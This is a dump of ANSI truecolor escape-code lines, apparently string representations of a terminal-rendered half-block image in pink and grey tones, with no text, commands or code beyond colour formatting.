'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;214;210;214m▄[0m[38;2;125;115;126m▄[38;2;175;172;177m[48;2;102;86;100m▀[38;2;144;137;147m[48;2;127;105;124m▀[38;2;130;116;130m[48;2;135;107;130m▀[38;2;89;66;87m[48;2;151;117;144m▀[38;2;88;63;86m[48;2;154;120;149m▀[38;2;120;91;116m[48;2;141;106;136m▀[38;2;117;88;114m[48;2;135;98;130m▀[38;2;126;97;121m[48;2;141;106;137m▀[38;2;138;107;133m[48;2;152;116;148m▀[38;2;146;116;141m[48;2;161;126;157m▀[38;2;150;121;147m[48;2;166;131;162m▀[38;2;151;122;148m[48;2;168;132;163m▀[48;2;170;133;166m▀[38;2;140;111;137m[48;2;171;137;168m▀[38;2;125;95;121m[48;2;173;136;169m▀[38;2;114;83;108m[48;2;172;135;165m▀[38;2;97;71;94m[48;2;164;128;157m▀[38;2;98;78;96m[48;2;148;118;143m▀[38;2;104;92;104m[48;2;132;106;127m▀[38;2;161;157;164m[48;2;100;81;99m▀[0m[38;2;108;95;109m▄[0m[38;2;154;149;155m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;243;238;243m▄[0m[38;2;141;126;139m▄[38;2;170;157;169m[48;2;126;99;122m▀[38;2;116;93;114m[48;2;170;135;166m▀[38;2;147;119;141m[48;2;173;139;169m▀[38;2;170;139;162m[48;2;169;132;163m▀[38;2;173;140;168m[48;2;169;131;164m▀[38;2;173;138;168m[48;2;164;131;162m▀[38;2;172;137;168m[48;2;163;131;162m▀[38;2;172;139;170m▀[38;2;169;137;168m[48;2;166;136;166m▀[38;2;162;128;163m[48;2;165;135;165m▀[38;2;163;129;164m[48;2;165;133;164m▀[38;2;165;131;165m[48;2;164;135;165m▀[38;2;168;133;168m[48;2;166;135;165m▀[38;2;166;131;165m[48;2;164;133;164m▀[38;2;165;130;165m[48;2;163;132;162m▀[48;2;163;132;163m▀[38;2;163;129;164m▀[38;2;166;132;164m[48;2;163;132;164m▀[38;2;166;133;164m[48;2;163;132;163m▀[38;2;166;132;164m[48;2;163;131;162m▀[38;2;169;131;162m[48;2;162;129;160m▀[38;2;171;136;163m[48;2;165;131;162m▀[38;2;164;131;158m[48;2;165;129;160m▀[38;2;146;119;141m[48;2;160;125;154m▀[38;2;94;70;92m[48;2;170;136;166m▀[38;2;94;74;93m[48;2;136;102;132m▀[38;2;212;205;212m[48;2;75;55;73m▀[0m[38;2;160;149;160m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;216;210;218m▄[38;2;232;228;231m[48;2;119;94;118m▀[38;2;128;109;125m[48;2;157;122;151m▀[38;2;142;116;136m[48;2;174;140;170m▀[38;2;173;139;168m[48;2;166;133;166m▀[38;2;169;130;166m[48;2;169;135;170m▀[38;2;168;131;166m[48;2;166;132;166m▀[38;2;166;132;166m[48;2;164;132;166m▀[38;2;162;130;162m[48;2;165;132;166m▀[38;2;165;133;164m[48;2;166;132;165m▀[38;2;168;136;166m[48;2;168;133;168m▀[38;2;163;130;161m▀[38;2;165;132;161m[48;2;163;130;164m▀[38;2;168;133;164m[48;2;165;132;163m▀[38;2;168;132;164m[48;2;166;132;163m▀▀▀[38;2;166;132;163m[48;2;165;132;163m▀[38;2;166;130;163m▀[38;2;166;131;163m▀▀[38;2;166;131;161m▀▀[38;2;165;132;163m▀[38;2;164;132;163m[48;2;165;133;163m▀[38;2;162;132;163m[48;2;166;133;164m▀[38;2;164;131;164m[48;2;164;132;163m▀[38;2;166;131;165m[48;2;164;131;163m▀[38;2;164;127;162m[48;2;165;132;163m▀[38;2;170;131;166m[48;2;163;128;160m▀[38;2;149;121;143m[48;2;166;129;160m▀[38;2;77;55;73m[48;2;164;127;155m▀[38;2;131;115;129m[48;2;91;59;84m▀[0m[38;2;119;100;120m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;241;240;242m▄[38;2;212;207;212m[48;2;86;72;84m▀[38;2;81;62;82m[48;2;152;126;148m▀[38;2;157;128;154m[48;2;169;141;165m▀[38;2;171;138;168m[48;2;153;125;152m▀[38;2;165;130;164m[48;2;159;129;160m▀[38;2;166;132;168m[48;2;161;128;160m▀[38;2;163;130;163m[48;2;161;129;158m▀[38;2;166;132;166m[48;2;161;129;159m▀[38;2;168;133;166m[48;2;159;126;155m▀[38;2;168;133;168m[48;2;157;125;154m▀[38;2;168;133;166m[48;2;164;132;162m▀[38;2;164;131;166m[48;2;165;135;164m▀[38;2;168;136;169m[48;2;162;130;160m▀[38;2;162;132;165m[48;2;165;133;163m▀[38;2;164;132;163m[48;2;165;133;164m▀[38;2;165;132;163m[48;2;163;132;163m▀[48;2;165;132;163m▀▀▀▀▀▀▀▀▀▀▀[38;2;164;131;162m[48;2;162;129;160m▀[48;2;163;130;161m▀▀[38;2;164;131;163m[48;2;162;130;161m▀[38;2;166;127;161m[48;2;166;131;162m▀[38;2;169;130;161m[48;2;166;132;162m▀[38;2;161;125;152m[48;2;162;129;158m▀[38;2;76;52;74m[48;2;149;121;144m▀[38;2;133;122;135m[48;2;66;46;64m▀[0m[38;2;168;160;169m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;205;198;205m▄[38;2;124;115;124m[48;2;78;62;73m▀[38;2;118;97;111m[48;2;176;154;170m▀[38;2;173;143;166m[48;2;216;186;210m▀[38;2;181;152;176m[48;2;250;219;245m▀[38;2;209;183;208m[48;2;252;225;250m▀[38;2;217;191;219m[48;2;249;224;249m▀[38;2;225;197;225m[48;2;249;225;249m▀[38;2;225;198;223m[48;2;248;224;243m▀[38;2;217;192;216m[48;2;252;230;250m▀[38;2;204;177;202m[48;2;246;224;245m▀[38;2;187;161;184m[48;2;247;226;246m▀[38;2;168;140;164m[48;2;242;221;241m▀[38;2;155;126;151m[48;2;221;197;218m▀[38;2;163;129;155m[48;2;184;154;179m▀[38;2;165;132;158m[48;2;147;115;140m▀[38;2;165;132;163m[48;2;150;121;149m▀[38;2;165;133;164m[48;2;159;128;159m▀[38;2;165;132;163m[48;2;162;133;164m▀[48;2;161;131;162m▀[48;2;161;128;159m▀[48;2;162;129;160m▀[38;2;166;132;163m[48;2;168;132;164m▀[38;2;166;131;163m[48;2;168;129;162m▀[38;2;166;132;163m[48;2;165;129;162m▀[38;2;165;132;163m[48;2;165;132;163m▀[48;2;168;135;165m▀[48;2;165;132;163m▀[48;2;164;131;162m▀[38;2;163;130;161m▀[48;2;163;130;161m▀▀[38;2;163;130;160m[48;2;161;129;160m▀[38;2;164;130;163m[48;2;164;130;165m▀[48;2;159;126;160m▀[38;2;163;130;159m[48;2;163;131;162m▀[38;2;161;128;155m[48;2;168;130;160m▀[38;2;128;100;121m[48;2;150;116;142m▀[38;2;66;51;65m[48;2;99;77;96m▀[38;2;225;221;225m[48;2;110;100;111m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;199;191;198m▄[38;2;114;99;110m[48;2;147;127;141m▀[38;2;172;150;164m[48;2;255;229;246m▀[38;2;248;225;242m[48;2;245;220;240m▀[38;2;249;226;243m[48;2;238;215;234m▀[38;2;245;217;239m[48;2;241;218;237m▀[38;2;242;215;240m[48;2;242;218;240m▀[38;2;240;218;242m[48;2;242;219;241m▀[38;2;240;217;239m[48;2;245;221;239m▀[38;2;251;226;243m[48;2;242;221;234m▀[38;2;220;198;215m[48;2;177;161;173m▀[38;2;212;193;210m[48;2;199;187;198m▀[38;2;235;221;236m[48;2;201;196;203m▀[38;2;220;209;221m[48;2;205;203;209m▀[38;2;218;204;218m[48;2;219;215;221m▀[38;2;203;187;202m[48;2;219;213;219m▀[38;2;183;164;181m[48;2;193;182;193m▀[38;2;220;195;221m[48;2;250;228;252m▀[38;2;182;154;184m[48;2;250;224;252m▀[38;2;153;126;155m[48;2;216;188;218m▀[38;2;159;127;159m[48;2;165;137;166m▀[38;2;166;133;164m[48;2;157;126;155m▀[38;2;164;131;162m[48;2;163;131;162m▀[48;2;165;131;162m▀[38;2;169;132;164m[48;2;170;132;164m▀[38;2;162;127;159m[48;2;163;130;160m▀[38;2;164;132;163m[48;2;161;129;160m▀[38;2;166;133;164m[48;2;161;128;159m▀[38;2;162;129;160m[48;2;163;130;161m▀[48;2;164;131;162m▀[38;2;164;131;162m▀[38;2;163;130;161m[48;2;163;130;161m▀▀[38;2;162;127;160m[48;2;162;128;161m▀[38;2;162;129;164m[48;2;161;125;161m▀[38;2;164;130;165m[48;2;165;129;166m▀[38;2;163;129;162m[48;2;161;126;161m▀[38;2;165;130;161m[48;2;162;127;161m▀[38;2;166;130;159m[48;2;169;135;162m▀[38;2;138;111;132m[48;2;163;130;157m▀[38;2;71;55;71m[48;2;100;78;97m▀[38;2;204;198;205m[48;2;115;100;117m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;204;199;203m▄[38;2;133;118;130m[48;2;139;119;137m▀[38;2;207;186;202m[48;2;243;221;240m▀[38;2;253;230;247m[48;2;242;219;238m▀[38;2;245;218;238m[48;2;245;219;240m▀[38;2;242;218;237m[48;2;240;216;235m▀[38;2;239;219;238m[48;2;236;214;234m▀[38;2;237;219;240m[48;2;238;220;237m▀[38;2;239;215;237m[48;2;243;223;242m▀[38;2;253;231;248m[48;2;236;217;232m▀[38;2;184;174;183m[48;2;153;149;155m▀[38;2;160;153;160m[48;2;228;227;231m▀[0m[38;2;235;234;238m▀[38;2;242;242;247m[48;2;237;242;243m▀[0m[38;2;240;240;241m▄[0m [38;2;241;231;239m[48;2;195;181;191m▀[38;2;195;182;193m[48;2;198;179;192m▀[38;2;246;224;249m[48;2;255;229;253m▀[38;2;242;217;246m[48;2;242;215;242m▀[38;2;253;227;255m[48;2;239;213;239m▀[38;2;232;206;236m[48;2;249;223;249m▀[38;2;186;153;186m[48;2;250;221;249m▀[38;2;152;120;151m[48;2;201;173;201m▀[38;2;169;132;165m[48;2;158;126;154m▀[38;2;169;129;163m[48;2;163;128;158m▀[38;2;169;131;164m[48;2;168;133;163m▀[38;2;158;125;155m[48;2;154;122;151m▀[48;2;151;118;148m▀[38;2;168;135;165m[48;2;168;133;164m▀[38;2;162;129;160m[48;2;162;128;159m▀[38;2;163;130;161m[48;2;165;130;162m▀[48;2;165;130;163m▀[48;2;164;129;162m▀[38;2;161;129;160m[48;2;164;128;162m▀[38;2;162;124;163m[48;2;164;127;163m▀[38;2;164;124;165m[48;2;155;118;154m▀[38;2;165;127;164m[48;2;162;127;162m▀[38;2;164;131;163m[48;2;163;130;162m▀[38;2;160;128;157m[48;2;162;131;161m▀[38;2;172;141;165m[48;2;164;129;158m▀[38;2;148;121;143m[48;2;174;143;170m▀[38;2;71;53;70m[48;2;97;71;95m▀[38;2;210;206;210m[48;2;130;116;129m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;232;226;231m▄[38;2;151;138;149m[48;2;146;131;144m▀[38;2;185;165;186m[48;2;227;207;228m▀[38;2;251;226;250m[48;2;247;224;247m▀[38;2;241;215;239m[48;2;243;218;239m▀[38;2;247;221;246m[48;2;242;216;238m▀[38;2;231;206;228m[48;2;227;203;224m▀[38;2;239;214;235m[48;2;246;224;242m▀[38;2;241;218;236m[48;2;239;219;237m▀[38;2;251;232;250m[48;2;243;225;243m▀[38;2;198;186;198m[48;2;161;149;161m▀[38;2;176;172;179m[48;2;214;209;215m▀[0m[38;2;242;241;245m▀[0m[38;2;234;235;234m▀[0m[38;2;237;241;236m▀[0m[38;2;229;229;228m▄[38;2;247;239;242m[48;2;210;202;204m▀[38;2;158;140;149m[48;2;185;170;177m▀[38;2;220;197;212m[48;2;223;201;213m▀[38;2;252;224;247m[48;2;251;226;246m▀[38;2;243;216;240m[48;2;242;217;239m▀[38;2;245;220;242m[48;2;243;220;241m▀[38;2;241;219;240m▀[38;2;241;218;240m[48;2;242;220;239m▀[38;2;250;225;248m[48;2;240;216;238m▀[38;2;214;187;212m[48;2;252;226;249m▀[38;2;160;129;153m[48;2;221;192;215m▀[38;2;162;130;157m[48;2;165;136;161m▀[38;2;165;135;162m[48;2;161;130;159m▀[38;2;147;115;142m[48;2;147;116;143m▀[38;2;162;130;159m[48;2;161;130;158m▀[38;2;162;130;161m[48;2;164;131;162m▀[38;2;166;131;162m[48;2;163;131;162m▀[38;2;166;130;163m[48;2;166;130;162m▀[38;2;166;129;163m[48;2;165;129;162m▀[38;2;166;127;163m[48;2;164;129;163m▀[38;2;168;131;163m[48;2;169;132;164m▀[38;2;152;119;150m[48;2;159;126;157m▀[38;2;155;126;154m[48;2;152;120;150m▀[38;2;163;132;162m[48;2;165;133;164m▀[38;2;163;128;161m[48;2;163;129;159m▀[38;2;162;126;158m[48;2;165;129;161m▀[38;2;172;138;169m[48;2;164;130;161m▀[38;2;140;106;139m[48;2;170;137;169m▀[38;2;83;57;80m[48;2;74;50;72m▀[0m[38;2;182;173;181m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;216;212;217m▄[38;2;127;117;126m[48;2;107;94;107m▀[38;2;175;160;173m[48;2;214;195;213m▀[38;2;242;221;242m[48;2;242;221;242m▀[38;2;245;221;242m[48;2;243;221;242m▀[38;2;245;220;241m[48;2;248;225;245m▀[38;2;232;208;229m[48;2;229;206;226m▀[38;2;235;212;230m[48;2;234;210;230m▀[38;2;243;223;240m[48;2;236;217;235m▀[38;2;243;226;242m[48;2;248;232;247m▀[38;2;228;213;228m[48;2;219;204;218m▀[38;2;158;148;159m[48;2;188;180;186m▀[0m[38;2;241;239;242m▀[0m[38;2;243;241;243m▀[0m[38;2;209;204;202m▄[38;2;221;218;216m[48;2;210;203;199m▀[38;2;202;196;194m[48;2;237;227;226m▀[38;2;243;230;235m[48;2;248;235;237m▀[38;2;194;179;187m[48;2;188;170;174m▀[38;2;229;209;221m[48;2;210;192;201m▀[38;2;250;226;246m[48;2;247;227;245m▀[38;2;242;218;241m[48;2;239;217;238m▀[38;2;242;220;241m[48;2;241;220;240m▀[48;2;240;220;240m▀[38;2;240;219;240m[48;2;242;219;240m▀[38;2;246;223;243m[48;2;245;220;241m▀[38;2;240;215;239m[48;2;247;223;243m▀[38;2;254;228;250m[48;2;241;215;236m▀[38;2;225;197;221m[48;2;249;224;246m▀[38;2;171;142;169m[48;2;229;203;227m▀[38;2;147;116;141m[48;2;151;124;148m▀[38;2;158;125;154m[48;2;141;114;141m▀[38;2;168;135;162m[48;2;171;140;168m▀[38;2;163;129;160m[48;2;163;130;159m▀[38;2;165;130;162m[48;2;162;130;161m▀[38;2;164;129;161m[48;2;163;130;161m▀[38;2;165;129;162m[48;2;164;129;161m▀[38;2;166;130;162m[48;2;161;125;157m▀[38;2;163;129;161m[48;2;169;135;166m▀[38;2;141;109;140m[48;2;136;104;135m▀[38;2;160;129;159m[48;2;149;118;149m▀[38;2;166;131;163m[48;2;170;135;164m▀[38;2;165;127;159m[48;2;163;126;158m▀[38;2;162;127;159m[48;2;162;128;160m▀[38;2;173;141;173m[48;2;165;133;164m▀[38;2;108;84;107m[48;2;146;119;144m▀[38;2;118;109;117m[48;2;84;72;85m▀[0m[38;2;239;238;242m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;169;162;170m[48;2;137;130;138m▀[38;2;142;128;144m[48;2;183;166;185m▀[38;2;234;213;234m[48;2;246;225;247m▀[38;2;242;220;241m[48;2;237;217;237m▀[38;2;239;217;237m[48;2;246;224;241m▀[38;2;242;218;238m[48;2;246;223;241m▀[38;2;221;198;217m[48;2;214;192;210m▀[38;2;229;210;228m[48;2;235;216;230m▀[38;2;239;221;237m[48;2;236;220;234m▀[38;2;250;236;249m[48;2;249;237;250m▀[38;2;202;188;203m[48;2;190;180;191m▀[38;2;208;202;208m[48;2;218;215;219m▀[38;2;245;241;240m[48;2;215;213;210m▀[38;2;205;199;197m[48;2;206;199;196m▀[38;2;213;204;202m[48;2;191;179;176m▀[38;2;245;232;230m[48;2;237;220;217m▀[38;2;239;225;221m[48;2;241;224;220m▀[38;2;249;232;232m[48;2;253;236;236m▀[38;2;183;163;166m[48;2;181;164;164m▀[38;2;193;175;181m[48;2;177;162;165m▀[38;2;251;234;248m[48;2;255;239;254m▀[38;2;236;218;236m[48;2;240;225;241m▀[38;2;239;220;237m[48;2;237;218;236m▀[38;2;239;219;237m[48;2;240;221;239m▀[38;2;238;217;234m[48;2;229;209;227m▀[38;2;241;217;236m[48;2;231;213;230m▀[38;2;247;224;242m[48;2;249;229;248m▀[38;2;239;219;236m[48;2;240;223;239m▀[38;2;237;215;235m[48;2;239;219;238m▀[38;2;255;231;255m[48;2;246;220;242m▀[38;2;209;183;207m[48;2;242;216;240m▀[38;2;127;100;125m[48;2;163;137;161m▀[38;2;172;142;170m[48;2;166;139;164m▀[38;2;166;136;163m[48;2;164;136;163m▀[38;2;161;128;157m[48;2;166;136;163m▀[38;2;164;132;162m[48;2;160;129;157m▀[38;2;161;129;159m[48;2;162;129;157m▀[38;2;158;121;153m[48;2;157;120;151m▀[38;2;171;137;169m[48;2;164;130;162m▀[38;2;143;111;142m[48;2;157;125;155m▀[38;2;137;106;137m[48;2;130;98;129m▀[38;2;169;133;165m[48;2;168;132;164m▀[38;2;165;127;159m[48;2;165;127;161m▀[38;2;164;130;161m[48;2;163;130;160m▀[38;2;168;133;166m[48;2;165;133;164m▀[38;2;151;124;149m[48;2;154;126;152m▀[38;2;71;56;73m[48;2;80;63;83m▀[38;2;201;195;204m[48;2;144;138;149m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;218;214;219m[48;2;168;164;171m▀[38;2;137;125;138m[48;2;153;146;160m▀[38;2;224;207;226m[48;2;242;230;249m▀[38;2;248;223;248m[48;2;248;229;252m▀[38;2;240;219;239m[48;2;246;228;247m▀[38;2;248;225;243m[48;2;245;224;242m▀[38;2;245;221;240m[48;2;239;218;238m▀[38;2;203;183;196m[48;2;196;175;194m▀[38;2;241;224;237m[48;2;247;227;245m▀[38;2;241;226;240m[48;2;246;230;245m▀[38;2;243;232;243m[48;2;236;223;234m▀[38;2;184;177;186m[48;2;187;177;186m▀[38;2;240;239;243m[48;2;231;229;231m▀[0m[38;2;213;209;206m▄[38;2;213;206;203m[48;2;226;217;214m▀[38;2;227;213;210m[48;2;245;227;224m▀[38;2;247;227;224m[48;2;245;224;220m▀[38;2;242;220;219m[48;2;243;221;219m▀[38;2;253;234;234m[48;2;251;229;229m▀[38;2;191;173;174m[48;2;205;186;187m▀[38;2;165;149;153m[48;2;163;148;151m▀[38;2;251;238;250m[48;2;242;231;242m▀[38;2;247;232;249m[48;2;252;239;252m▀[38;2;242;225;241m[48;2;248;231;246m▀[38;2;243;225;241m[48;2;248;229;245m▀[38;2;230;210;227m[48;2;232;212;228m▀[38;2;221;202;219m[48;2;212;192;206m▀[38;2;249;230;248m[48;2;243;226;240m▀[38;2;241;226;242m[48;2;249;237;249m▀[38;2;238;218;238m[48;2;239;223;240m▀[38;2;245;221;242m[48;2;239;218;239m▀[38;2;239;214;237m[48;2;250;228;248m▀[38;2;183;155;180m[48;2;171;146;168m▀[38;2;209;183;207m[48;2;236;209;234m▀[38;2;160;131;157m[48;2;223;196;218m▀[38;2;166;136;164m[48;2;160;132;158m▀[38;2;168;137;164m[48;2;165;136;162m▀[38;2;163;132;160m[48;2;172;141;169m▀[38;2;152;117;148m[48;2;148;111;143m▀[38;2;162;128;160m[48;2;162;128;159m▀[38;2;166;133;164m[48;2;172;138;170m▀[38;2;127;96;127m[48;2;130;98;129m▀[38;2;163;128;160m[48;2;153;120;151m▀[38;2;166;129;161m[48;2;166;131;164m▀[38;2;164;130;160m[48;2;161;131;161m▀[38;2;165;132;163m[48;2;161;132;163m▀[38;2;161;131;160m[48;2;161;135;164m▀[38;2;102;83;104m[48;2;110;94;118m▀[38;2;118;109;125m[48;2;98;92;107m▀[0m[38;2;227;226;230m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;225;225;227m▄[38;2;138;141;149m[48;2;125;129;140m▀[38;2;164;174;185m[48;2;188;201;212m▀[38;2;231;238;251m[48;2;230;241;252m▀[38;2;234;235;248m[48;2;231;238;249m▀[38;2;231;228;242m[48;2;217;224;236m▀[38;2;231;226;243m[48;2;215;224;238m▀[38;2;226;216;238m[48;2;216;219;238m▀[38;2;193;176;202m[48;2;180;177;202m▀[38;2;246;228;253m[48;2;231;229;251m▀[38;2;248;231;250m[48;2;237;236;249m▀[38;2;239;219;232m[48;2;225;217;225m▀[38;2;147;129;135m[48;2;176;169;170m▀[38;2;214;202;201m[48;2;220;212;207m▀[38;2;242;228;226m[48;2;241;227;224m▀[38;2;241;226;223m[48;2;237;225;219m▀[38;2;240;225;221m[48;2;237;226;223m▀[38;2;243;226;225m[48;2;238;227;225m▀[38;2;240;221;221m[48;2;236;221;220m▀[38;2;247;228;229m[48;2;241;226;227m▀[38;2;221;203;205m[48;2;228;213;213m▀[38;2;166;149;152m[48;2;170;154;157m▀[38;2;229;216;230m[48;2;205;192;205m▀[38;2;250;236;252m[48;2;251;235;252m▀[38;2;240;221;239m[48;2;237;214;234m▀[38;2;247;227;243m[48;2;243;221;240m▀[38;2;239;218;232m[48;2;241;221;239m▀[38;2;212;187;206m[48;2;191;169;187m▀[38;2;225;205;223m[48;2;210;186;205m▀[0m[38;2;252;238;254m▄[38;2;245;231;250m[48;2;245;228;248m▀[38;2;246;227;248m[48;2;239;216;239m▀[38;2;255;237;255m[48;2;251;230;249m▀[38;2;173;146;163m[48;2;174;143;161m▀[38;2;220;190;205m[48;2;202;169;185m▀[38;2;252;235;247m[48;2;247;230;242m▀[38;2;215;193;212m[48;2;247;227;245m▀[38;2;165;138;164m[48;2;227;202;227m▀[38;2;169;133;166m[48;2;173;148;177m▀[38;2;155;119;148m[48;2;130;105;130m▀[38;2;157;119;147m[48;2;143;117;140m▀[38;2;174;142;170m[48;2;171;147;171m▀[38;2;133;107;136m[48;2;136;117;141m▀[38;2;133;108;140m[48;2;126;108;136m▀[38;2;161;138;171m[48;2;154;139;170m▀[38;2;148;131;165m[48;2;142;135;165m▀[38;2;144;131;165m[48;2;140;135;164m▀[38;2;149;136;169m[48;2;148;140;173m▀[38;2;108;103;132m[48;2;115;111;141m▀[38;2;83;80;102m[48;2;85;83;106m▀[38;2;202;198;209m[48;2;169;166;176m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;190;190;195m[48;2;153;152;160m▀[38;2;130;133;147m[48;2;150;154;170m▀[38;2;202;214;226m[48;2;203;213;227m▀[38;2;225;235;247m[48;2;223;234;246m▀[38;2;230;238;249m[48;2;221;228;238m▀[38;2;212;225;234m[48;2;181;192;202m▀[38;2;205;221;234m[48;2;212;227;238m▀[38;2;206;217;234m[48;2;197;209;225m▀[38;2;172;181;199m[48;2;165;174;192m▀[38;2;219;229;246m[48;2;218;228;243m▀[38;2;230;239;248m[48;2;227;239;247m▀[38;2;203;206;210m[48;2;197;201;205m▀[38;2;199;204;202m[48;2;161;161;160m▀[38;2;218;214;210m[48;2;226;219;216m▀[38;2;241;225;221m[48;2;239;226;223m▀[38;2;239;225;219m[48;2;237;226;219m▀[38;2;240;224;223m[48;2;238;226;223m▀[38;2;242;227;226m[48;2;238;227;225m▀[38;2;240;226;225m[48;2;237;226;224m▀[38;2;240;226;226m[48;2;235;223;224m▀[38;2;237;221;220m[48;2;240;228;228m▀[38;2;174;160;162m[48;2;190;176;179m▀[38;2;170;157;170m[48;2;140;130;140m▀[38;2;253;242;255m[48;2;231;230;242m▀[38;2;229;216;231m[48;2;227;229;239m▀[38;2;240;224;240m[48;2;220;221;234m▀[38;2;241;230;245m[48;2;231;236;248m▀[38;2;177;166;181m[48;2;181;184;194m▀[38;2;186;166;184m[48;2;166;155;171m▀[38;2;239;225;240m[48;2;218;214;225m▀[38;2;239;230;248m[48;2;229;234;246m▀[38;2;230;219;239m[48;2;217;224;239m▀[38;2;242;234;250m[48;2;229;240;250m▀[38;2;176;155;171m[48;2;173;165;176m▀[38;2;177;152;166m[48;2;151;138;148m▀[38;2;240;237;246m[48;2;215;228;231m▀[38;2;225;224;236m[48;2;216;230;240m▀[38;2;231;226;246m[48;2;210;221;237m▀[38;2;221;215;240m[48;2;229;242;255m▀[38;2;124;111;132m[48;2;164;164;181m▀[38;2;118;99;119m[48;2;104;93;111m▀[38;2;169;155;176m[48;2;161;153;172m▀[38;2;136;128;150m[48;2;132;130;151m▀[38;2;114;103;128m[48;2;105;98;124m▀[38;2;149;140;168m[48;2;146;141;168m▀[38;2;138;133;162m[48;2;136;132;161m▀[38;2;138;136;164m[48;2;137;133;163m▀[38;2;147;141;173m[48;2;144;140;172m▀[38;2;116;110;142m[48;2;118;114;144m▀[38;2;89;87;110m[48;2;98;95;117m▀[38;2;139;137;146m[48;2;122;120;132m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
